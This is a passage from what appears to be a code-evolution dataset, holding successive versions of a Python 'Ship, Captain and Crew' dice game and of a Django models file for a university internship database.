sum(roll2_crew)\n print('Your total score is: ' + str(\n total_crew_none) + '.')\n if inp_crew == 'one':\n inp_crew_one = input(\n 'Which die do you want to keep? ')\n roll1_crew_one = random.randint(1, 6)\n print(roll1_crew_one)\n total_crew_one = roll1_crew_one + int(inp_crew_one)\n print('Your total score is: ' + str(\n total_crew_one) + '.')\n else:\n inp_sc3 = input('Still no 4. Hit enter to roll again')\n if inp_sc3 == '':\n roll3_sc3 = random.choices(range(1, 7), k=3)\n print(roll3_sc3)\n if set(crew).issubset(roll3_sc3):\n result_crew_sc3 = [i for i in roll3_sc3 if \n not i in crew or crew.remove(i)]\n total_crew_sc3 = sum(result_crew_sc3)\n print('Your total score is: ' + str(\n total_crew_sc3) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n if set(ship).issubset(roll5) and 5 not in roll5 and n < 2:\n inp_ship = input(\n 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice '\n )\n if inp_ship == '':\n roll4_ship = random.choices(range(1, 7), k=4)\n print(roll4_ship)\n if set(cc).issubset(roll4_ship):\n result_ship_cc = [i for i in roll4_ship if not i in\n cc or cc.remove(i)]\n total_ship_cc = sum(result_ship_cc)\n inp_ship_cc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_ship_cc == 'both':\n print('Your total is: ' + str(total_ship_cc) + '.')\n if inp_ship_cc == 'neither':\n roll2_cc = random.choices(range(1, 7), k=2)\n print(roll2_cc)\n total_ship_cc_none = sum(roll2_cc)\n print('Your total score is: ' + str(\n total_ship_cc_none) + '.')\n if inp_ship_cc == 'one':\n inp_ship_cc_one = input(\n 'Which die do you want to keep? ')\n roll1_ship_cc_one = random.randint(1, 6)\n print(roll1_ship_cc_one)\n total_ship_cc_one = roll1_ship_cc_one + int(\n inp_ship_cc_one)\n print('Your total score is: ' + str(\n total_ship_cc_one) + '.')\n if set(captain).issubset(roll4_ship):\n roll3_captain = random.choices(range(1, 7), k=3)\n print(roll3_captain)\n if set(crew).issubset(roll3_captain):\n result_ship_captain = [i for i in roll3_captain if\n not i in crew or crew.remove(i)]\n total_ship_captain = sum(result_ship_captain)\n print('Your total score is: ' + str(\n total_ship_captain) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n else:\n n = n + 1\n\n\ninp = input('How many players are there? ')\nplayers = range(int(inp))\nroll_dict = dict()\nfor i in players:\n multi()\n", "step-4": "import random\n\n\ndef multi():\n scc = [6, 5, 4]\n sc = [6, 5]\n cc = [5, 4]\n crew = [4]\n captain = [5]\n ship = [6]\n n = 0\n while n <= 2:\n inp = input('Hit enter to roll')\n if inp == '':\n roll5 = random.choices(range(1, 7), k=5)\n print(roll5)\n if set(scc).issubset(roll5):\n result_scc = [i for i in roll5 if not i in scc or scc.remove(i)\n ]\n total_scc = sum(result_scc)\n inp_scc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc == 'both':\n print('Total score: ' + str(total_scc) + '.')\n if inp_scc == 'neither':\n roll2_scc = random.choices(range(1, 7), k=2)\n print(roll2_scc)\n inp_scc_none = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_scc_none == 'both':\n total_scc_none = sum(roll2_scc)\n print('Total score: ' + str(total_scc_none) + '.')\n if inp_scc_none == 'neither':\n roll2_scc_none = random.choices(range(1, 7), k=2)\n total_scc_none2 = sum(roll2_scc_none)\n print(roll2_scc_none)\n print('Your total score is: ' + str(total_scc_none2\n ) + '.')\n if inp_scc_none == 'one':\n inp_scc_none_one = input(\n 'Which die do you want to keep? ')\n roll1_scc_none_one = random.randint(1, 6)\n total_scc_none_one = roll1_scc_none_one + int(\n inp_scc_none_one)\n print(roll1_scc_none_one)\n print('Your total score is: ' + str(\n total_scc_none_one) + '.')\n if inp_scc == 'one':\n inp_scc_one = input('Which die do you want to keep? ')\n roll1_scc_one = random.randint(1, 6)\n print(roll1_scc_one)\n total_scc_one = roll1_scc_one + int(inp_scc_one)\n inp_scc_one2 = input(\n \"Hit enter to roll again or type 'pass' to keep your score \"\n )\n if inp_scc_one2 == 'pass':\n print('Your total score is: ' + str(total_scc_one) +\n '.')\n if inp_scc_one2 == '':\n roll1_scc_one2 = random.randint(1, 6)\n print(roll1_scc_one2)\n total_scc_one2 = roll1_scc_one2 + int(inp_scc_one)\n print('Your total score is: ' + str(total_scc_one2) +\n '.')\n if set(sc).issubset(roll5):\n inp_sc = input(\n 'Now you need a 4(the Crew). Hit enter to roll the remaining dice'\n )\n if inp_sc == '':\n roll3 = random.choices(range(1, 7), k=3)\n print(roll3)\n if set(crew).issubset(roll3):\n result_crew = [i for i in roll3 if not i in crew or\n crew.remove(i)]\n total_crew = sum(result_crew)\n inp_crew = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_crew == 'both':\n print('Total score: ' + str(total_crew) + '.')\n if inp_crew == 'neither':\n roll2_crew = random.choices(range(1, 7), k=2)\n print(roll2_crew)\n total_crew_none = sum(roll2_crew)\n print('Your total score is: ' + str(\n total_crew_none) + '.')\n if inp_crew == 'one':\n inp_crew_one = input(\n 'Which die do you want to keep? ')\n roll1_crew_one = random.randint(1, 6)\n print(roll1_crew_one)\n total_crew_one = roll1_crew_one + int(inp_crew_one)\n print('Your total score is: ' + str(\n total_crew_one) + '.')\n else:\n inp_sc3 = input('Still no 4. Hit enter to roll again')\n if inp_sc3 == '':\n roll3_sc3 = random.choices(range(1, 7), k=3)\n print(roll3_sc3)\n if set(crew).issubset(roll3_sc3):\n result_crew_sc3 = [i for i in roll3_sc3 if \n not i in crew or crew.remove(i)]\n total_crew_sc3 = sum(result_crew_sc3)\n print('Your total score is: ' + str(\n total_crew_sc3) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n if set(ship).issubset(roll5) and 5 not in roll5 and n < 2:\n inp_ship = input(\n 'Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice '\n )\n if inp_ship == '':\n roll4_ship = random.choices(range(1, 7), k=4)\n print(roll4_ship)\n if set(cc).issubset(roll4_ship):\n result_ship_cc = [i for i in roll4_ship if not i in\n cc or cc.remove(i)]\n total_ship_cc = sum(result_ship_cc)\n inp_ship_cc = input(\n 'Do you wish to keep one, both, or neither of the remaining dice? '\n )\n if inp_ship_cc == 'both':\n print('Your total is: ' + str(total_ship_cc) + '.')\n if inp_ship_cc == 'neither':\n roll2_cc = random.choices(range(1, 7), k=2)\n print(roll2_cc)\n total_ship_cc_none = sum(roll2_cc)\n print('Your total score is: ' + str(\n total_ship_cc_none) + '.')\n if inp_ship_cc == 'one':\n inp_ship_cc_one = input(\n 'Which die do you want to keep? ')\n roll1_ship_cc_one = random.randint(1, 6)\n print(roll1_ship_cc_one)\n total_ship_cc_one = roll1_ship_cc_one + int(\n inp_ship_cc_one)\n print('Your total score is: ' + str(\n total_ship_cc_one) + '.')\n if set(captain).issubset(roll4_ship):\n roll3_captain = random.choices(range(1, 7), k=3)\n print(roll3_captain)\n if set(crew).issubset(roll3_captain):\n result_ship_captain = [i for i in roll3_captain if\n not i in crew or crew.remove(i)]\n total_ship_captain = sum(result_ship_captain)\n print('Your total score is: ' + str(\n total_ship_captain) + '.')\n else:\n print(\n \"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\"\n )\n else:\n n = n + 1\n\n\ninp = input('How many players are there? ')\nplayers = range(int(inp))\nroll_dict = dict()\nfor i in players:\n multi()\n", "step-5": "import random\ndef multi():\n\n scc = [6, 5, 4]\n sc = [6, 5]\n cc = [5, 4]\n crew = [4]\n captain = [5]\n ship = [6]\n n = 0\n while n <= 2:\n inp = input(\"Hit enter to roll\")\n if inp == \"\":\n roll5 = random.choices(range(1, 7), k=5)\n print(roll5)\n if set(scc).issubset(roll5):\n result_scc = [i for i in roll5 if not i in scc or scc.remove(i)]\n total_scc = sum(result_scc)\n inp_scc = input(\"Do you wish to keep one, both, or neither of the remaining dice? \")\n if inp_scc == \"both\":\n print(\"Total score: \" + str(total_scc) + \".\")\n if inp_scc == \"neither\":\n roll2_scc = random.choices(range(1, 7), k=2)\n print(roll2_scc)\n inp_scc_none = input(\"Do you wish to keep one, both, or neither of the remaining dice? \")\n if inp_scc_none == \"both\":\n total_scc_none = sum(roll2_scc)\n print(\"Total score: \" + str(total_scc_none) + \".\")\n if inp_scc_none == \"neither\":\n roll2_scc_none = random.choices(range(1, 7), k=2)\n total_scc_none2 = sum(roll2_scc_none)\n print(roll2_scc_none)\n print(\"Your total score is: \" + str(total_scc_none2) + \".\")\n if inp_scc_none == \"one\":\n inp_scc_none_one = input(\"Which die do you want to keep? \")\n roll1_scc_none_one = random.randint(1, 6)\n total_scc_none_one = roll1_scc_none_one + int(inp_scc_none_one)\n print(roll1_scc_none_one)\n print(\"Your total score is: \" + str(total_scc_none_one) + \".\")\n if inp_scc == \"one\":\n inp_scc_one = input(\"Which die do you want to keep? \")\n roll1_scc_one = random.randint(1, 6)\n print(roll1_scc_one)\n total_scc_one = roll1_scc_one + int(inp_scc_one)\n inp_scc_one2 = input(\"Hit enter to roll again or type 'pass' to keep your score \")\n if inp_scc_one2 == \"pass\":\n print(\"Your total score is: \" + str(total_scc_one) + \".\")\n if inp_scc_one2 == \"\":\n roll1_scc_one2 = random.randint(1, 6)\n print(roll1_scc_one2)\n total_scc_one2 = roll1_scc_one2 + int(inp_scc_one)\n print(\"Your total score is: \" + str(total_scc_one2) + \".\")\n if set(sc).issubset(roll5):\n inp_sc = input(\"Now you need a 4(the Crew). Hit enter to roll the remaining dice\")\n if inp_sc == \"\":\n roll3 = random.choices(range(1, 7), k=3)\n print(roll3)\n if set(crew).issubset(roll3):\n result_crew = [i for i in roll3 if not i in crew or crew.remove(i)]\n total_crew = sum(result_crew)\n inp_crew = input(\"Do you wish to keep one, both, or neither of the remaining dice? \")\n if inp_crew == \"both\":\n print(\"Total score: \" + str(total_crew) + \".\")\n if inp_crew == \"neither\":\n roll2_crew = random.choices(range(1, 7), k=2)\n print(roll2_crew)\n total_crew_none = sum(roll2_crew)\n print(\"Your total score is: \" + str(total_crew_none) + \".\")\n if inp_crew == \"one\":\n inp_crew_one = input(\"Which die do you want to keep? \")\n roll1_crew_one = random.randint(1, 6)\n print(roll1_crew_one)\n total_crew_one = roll1_crew_one + int(inp_crew_one)\n print(\"Your total score is: \" + str(total_crew_one) + \".\")\n else:\n inp_sc3 = input(\"Still no 4. Hit enter to roll again\")\n if inp_sc3 == \"\":\n roll3_sc3 = random.choices(range(1, 7), k=3)\n print(roll3_sc3)\n if set(crew).issubset(roll3_sc3):\n result_crew_sc3 = [i for i in roll3_sc3 if not i in crew or crew.remove(i)]\n total_crew_sc3 = sum(result_crew_sc3)\n print(\"Your total score is: \" + str(total_crew_sc3) + \".\")\n else:\n print(\"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\")\n if set(ship).issubset(roll5) and 5 not in roll5 and n < 2:\n inp_ship = input(\n \"Now you need a 5(the Captain) and a 4(the Crew). Hit enter to roll the remaining dice \")\n if inp_ship == \"\":\n roll4_ship = random.choices(range(1, 7), k=4)\n print(roll4_ship)\n if set(cc).issubset(roll4_ship):\n result_ship_cc = [i for i in roll4_ship if not i in cc or cc.remove(i)]\n total_ship_cc = sum(result_ship_cc)\n inp_ship_cc = input(\"Do you wish to keep one, both, or neither of the remaining dice? \")\n if inp_ship_cc == \"both\":\n print(\"Your total is: \" + str(total_ship_cc) + \".\")\n if inp_ship_cc == \"neither\":\n roll2_cc = random.choices(range(1, 7), k=2)\n print(roll2_cc)\n total_ship_cc_none = sum(roll2_cc)\n print(\"Your total score is: \" + str(total_ship_cc_none) + \".\")\n if inp_ship_cc == \"one\":\n inp_ship_cc_one = input(\"Which die do you want to keep? \")\n roll1_ship_cc_one = random.randint(1, 6)\n print(roll1_ship_cc_one)\n total_ship_cc_one = roll1_ship_cc_one + int(inp_ship_cc_one)\n print(\"Your total score is: \" + str(total_ship_cc_one) + \".\")\n if set(captain).issubset(roll4_ship):\n roll3_captain = random.choices(range(1, 7), k=3)\n print(roll3_captain)\n if set(crew).issubset(roll3_captain):\n result_ship_captain = [i for i in roll3_captain if not i in crew or crew.remove(i)]\n total_ship_captain = sum(result_ship_captain)\n print(\"Your total score is: \" + str(total_ship_captain) + \".\")\n else:\n print(\"Sorry, you get no points because the Ship, Captain, and Crew wasn't completed.\")\n else:\n n = n + 1\n\n\ninp = input(\"How many players are there? \")\nplayers = range(int(inp))\nroll_dict = dict()\nfor i in players:\n multi()", "step-ids": [ 1, 2, 3, 4, 5 ] }

[ 1, 2, 3, 4, 5 ]

<|reserved_special_token_0|> class cursos(models.Model): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def __str__(self): return self.nome class Meta: managed = False db_table = 'cursos' verbose_name = 'Cad.Curso' class profcoorest(models.Model): masp = models.IntegerField(primary_key=True) nome = models.CharField(max_length=50) curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'profcoorest' verbose_name = 'Cad.Profcoorest' class alunos(models.Model): matricula = models.IntegerField(primary_key=True) nome = models.CharField(max_length=100) sexo = models.CharField(max_length=1) datanasc = models.DateField() periodo = models.IntegerField() curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'alunos' verbose_name = 'Cad.Aluno' class estagio(models.Model): codigo = models.AutoField(primary_key=True) aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models .CASCADE) profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE) remunerado = models.CharField(max_length=1) valor = models.DecimalField(max_digits=6, decimal_places=2) empresa = models.CharField(max_length=30) cargahr = models.IntegerField() descr_est = models.CharField(max_length=256) resp_est = models.CharField(max_length=50) def __str__(self): return '%s' % self.codigo class Meta: managed = False db_table = 'estagio' verbose_name = 'Cad.Estagio' <|reserved_special_token_1|> <|reserved_special_token_0|> class faculdades(models.Model): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> class Meta: managed = False db_table = 'faculdades' verbose_name = 'Cad.Faculdade' class cursos(models.Model): codigo = models.AutoField(primary_key=True) nome = models.CharField(max_length=50) departamento = models.CharField(max_length=30) faculdade = models.ForeignKey('faculdades', db_column='faculdade', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'cursos' verbose_name = 'Cad.Curso' class profcoorest(models.Model): masp = models.IntegerField(primary_key=True) nome = models.CharField(max_length=50) curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'profcoorest' verbose_name = 'Cad.Profcoorest' class alunos(models.Model): matricula = models.IntegerField(primary_key=True) nome = models.CharField(max_length=100) sexo = models.CharField(max_length=1) datanasc = models.DateField() periodo = models.IntegerField() curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'alunos' verbose_name = 'Cad.Aluno' class estagio(models.Model): codigo = models.AutoField(primary_key=True) aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models .CASCADE) profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE) remunerado = models.CharField(max_length=1) valor = models.DecimalField(max_digits=6, decimal_places=2) empresa = models.CharField(max_length=30) cargahr = models.IntegerField() descr_est = models.CharField(max_length=256) resp_est = models.CharField(max_length=50) def __str__(self): return '%s' % self.codigo class Meta: managed = False db_table = 'estagio' verbose_name = 'Cad.Estagio' <|reserved_special_token_1|> <|reserved_special_token_0|> class faculdades(models.Model): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_0|> def __str__(self): return self.nome class Meta: managed = False db_table = 'faculdades' verbose_name = 'Cad.Faculdade' class cursos(models.Model): codigo = models.AutoField(primary_key=True) nome = models.CharField(max_length=50) departamento = models.CharField(max_length=30) faculdade = models.ForeignKey('faculdades', db_column='faculdade', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'cursos' verbose_name = 'Cad.Curso' class profcoorest(models.Model): masp = models.IntegerField(primary_key=True) nome = models.CharField(max_length=50) curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'profcoorest' verbose_name = 'Cad.Profcoorest' class alunos(models.Model): matricula = models.IntegerField(primary_key=True) nome = models.CharField(max_length=100) sexo = models.CharField(max_length=1) datanasc = models.DateField() periodo = models.IntegerField() curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'alunos' verbose_name = 'Cad.Aluno' class estagio(models.Model): codigo = models.AutoField(primary_key=True) aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models .CASCADE) profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE) remunerado = models.CharField(max_length=1) valor = models.DecimalField(max_digits=6, decimal_places=2) empresa = models.CharField(max_length=30) cargahr = models.IntegerField() descr_est = models.CharField(max_length=256) resp_est = models.CharField(max_length=50) def __str__(self): return '%s' % self.codigo class Meta: managed = False db_table = 'estagio' verbose_name = 'Cad.Estagio' <|reserved_special_token_1|> from django.db import models class faculdades(models.Model): codigo = models.IntegerField(primary_key=True) nome = models.CharField(max_length=50) cidade = models.CharField(max_length=30) estado = models.CharField(max_length=20) pais = models.CharField(max_length=20) def __str__(self): return self.nome class Meta: managed = False db_table = 'faculdades' verbose_name = 'Cad.Faculdade' class cursos(models.Model): codigo = models.AutoField(primary_key=True) nome = models.CharField(max_length=50) departamento = models.CharField(max_length=30) faculdade = models.ForeignKey('faculdades', db_column='faculdade', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'cursos' verbose_name = 'Cad.Curso' class profcoorest(models.Model): masp = models.IntegerField(primary_key=True) nome = models.CharField(max_length=50) curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'profcoorest' verbose_name = 'Cad.Profcoorest' class alunos(models.Model): matricula = models.IntegerField(primary_key=True) nome = models.CharField(max_length=100) sexo = models.CharField(max_length=1) datanasc = models.DateField() periodo = models.IntegerField() curso = models.ForeignKey('cursos', db_column='curso', on_delete=models .CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'alunos' verbose_name = 'Cad.Aluno' class estagio(models.Model): codigo = models.AutoField(primary_key=True) aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models .CASCADE) profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE) remunerado = models.CharField(max_length=1) valor = models.DecimalField(max_digits=6, decimal_places=2) empresa = models.CharField(max_length=30) cargahr = models.IntegerField() descr_est = models.CharField(max_length=256) resp_est = models.CharField(max_length=50) def __str__(self): return '%s' % self.codigo class Meta: managed = False db_table = 'estagio' verbose_name = 'Cad.Estagio' <|reserved_special_token_1|> from django.db import models class faculdades(models.Model): codigo = models.IntegerField(primary_key = True) nome = models.CharField(max_length=50) cidade = models.CharField(max_length=30) estado = models.CharField(max_length=20) pais = models.CharField(max_length=20) def __str__(self): return self.nome class Meta: managed = False db_table = 'faculdades' verbose_name = 'Cad.Faculdade' class cursos(models.Model): codigo = models.AutoField(primary_key = True) nome = models.CharField(max_length=50) departamento = models.CharField(max_length=30) faculdade = models.ForeignKey('faculdades', db_column='faculdade', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'cursos' verbose_name = 'Cad.Curso' class profcoorest(models.Model): masp = models.IntegerField(primary_key = True) nome = models.CharField(max_length=50) curso = models.ForeignKey('cursos', db_column='curso', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'profcoorest' verbose_name = 'Cad.Profcoorest' class alunos(models.Model): matricula = models.IntegerField(primary_key = True) nome = models.CharField(max_length=100) sexo = models.CharField(max_length=1) datanasc = models.DateField() periodo = models.IntegerField() curso = models.ForeignKey('cursos', db_column='curso', on_delete=models.CASCADE) def __str__(self): return self.nome class Meta: managed = False db_table = 'alunos' verbose_name = 'Cad.Aluno' class estagio(models.Model): codigo = models.AutoField(primary_key = True) aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models.CASCADE) profest = models.ForeignKey('profcoorest', db_column='profest', on_delete=models.CASCADE) remunerado = models.CharField(max_length=1) valor = models.DecimalField(max_digits=6, decimal_places=2) empresa = models.CharField(max_length=30) cargahr = models.IntegerField() descr_est = models.CharField(max_length=256) resp_est = models.CharField(max_length=50) def __str__(self): return '%s' % (self.codigo) class Meta: managed = False db_table = 'estagio' verbose_name = 'Cad.Estagio'

flexible

{ "blob_id": "20e5220ce23aaaedbfafe599b352f5d3a220e82e", "index": 6687, "step-1": "<mask token>\n\n\nclass cursos(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key=True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models\n .CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest',\n on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n\n def __str__(self):\n return '%s' % self.codigo\n\n\n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'\n", "step-2": "<mask token>\n\n\nclass faculdades(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\n class Meta:\n managed = False\n db_table = 'faculdades'\n verbose_name = 'Cad.Faculdade'\n\n\nclass cursos(models.Model):\n codigo = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=50)\n departamento = models.CharField(max_length=30)\n faculdade = models.ForeignKey('faculdades', db_column='faculdade',\n on_delete=models.CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key=True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models\n .CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest',\n on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n\n def __str__(self):\n return '%s' % self.codigo\n\n\n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'\n", "step-3": "<mask token>\n\n\nclass faculdades(models.Model):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'faculdades'\n verbose_name = 'Cad.Faculdade'\n\n\nclass cursos(models.Model):\n codigo = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=50)\n departamento = models.CharField(max_length=30)\n faculdade = models.ForeignKey('faculdades', db_column='faculdade',\n on_delete=models.CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key=True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models\n .CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest',\n on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n\n def __str__(self):\n return '%s' % self.codigo\n\n\n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'\n", "step-4": "from django.db import models\n\n\nclass faculdades(models.Model):\n codigo = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n cidade = models.CharField(max_length=30)\n estado = models.CharField(max_length=20)\n pais = models.CharField(max_length=20)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'faculdades'\n verbose_name = 'Cad.Faculdade'\n\n\nclass cursos(models.Model):\n codigo = models.AutoField(primary_key=True)\n nome = models.CharField(max_length=50)\n departamento = models.CharField(max_length=30)\n faculdade = models.ForeignKey('faculdades', db_column='faculdade',\n on_delete=models.CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 'Cad.Profcoorest'\n\n\nclass alunos(models.Model):\n matricula = models.IntegerField(primary_key=True)\n nome = models.CharField(max_length=100)\n sexo = models.CharField(max_length=1)\n datanasc = models.DateField()\n periodo = models.IntegerField()\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models\n .CASCADE)\n\n def __str__(self):\n return self.nome\n\n\n class Meta:\n managed = False\n db_table = 'alunos'\n verbose_name = 'Cad.Aluno'\n\n\nclass estagio(models.Model):\n codigo = models.AutoField(primary_key=True)\n aluno = models.ForeignKey('alunos', db_column='aluno', on_delete=models\n .CASCADE)\n profest = models.ForeignKey('profcoorest', db_column='profest',\n on_delete=models.CASCADE)\n remunerado = models.CharField(max_length=1)\n valor = models.DecimalField(max_digits=6, decimal_places=2)\n empresa = models.CharField(max_length=30)\n cargahr = models.IntegerField()\n descr_est = models.CharField(max_length=256)\n resp_est = models.CharField(max_length=50)\n\n def __str__(self):\n return '%s' % self.codigo\n\n\n class Meta:\n managed = False\n db_table = 'estagio'\n verbose_name = 'Cad.Estagio'\n", "step-5": "from django.db import models\n\nclass faculdades(models.Model):\n codigo = models.IntegerField(primary_key = True)\n nome = models.CharField(max_length=50)\n cidade = models.CharField(max_length=30)\n estado = models.CharField(max_length=20)\n pais = models.CharField(max_length=20)\n \n def __str__(self):\n return self.nome\n\n class Meta:\n managed = False\n db_table = 'faculdades'\n verbose_name = 'Cad.Faculdade'\n\nclass cursos(models.Model):\n codigo = models.AutoField(primary_key = True)\n nome = models.CharField(max_length=50)\n departamento = models.CharField(max_length=30)\n faculdade = models.ForeignKey('faculdades', db_column='faculdade', on_delete=models.CASCADE)\n \n def __str__(self):\n return self.nome\n\n class Meta:\n managed = False\n db_table = 'cursos'\n verbose_name = 'Cad.Curso'\n\nclass profcoorest(models.Model):\n masp = models.IntegerField(primary_key = True)\n nome = models.CharField(max_length=50)\n curso = models.ForeignKey('cursos', db_column='curso', on_delete=models.CASCADE)\n \n def __str__(self):\n return self.nome\n\n class Meta:\n managed = False\n db_table = 'profcoorest'\n verbose_name = 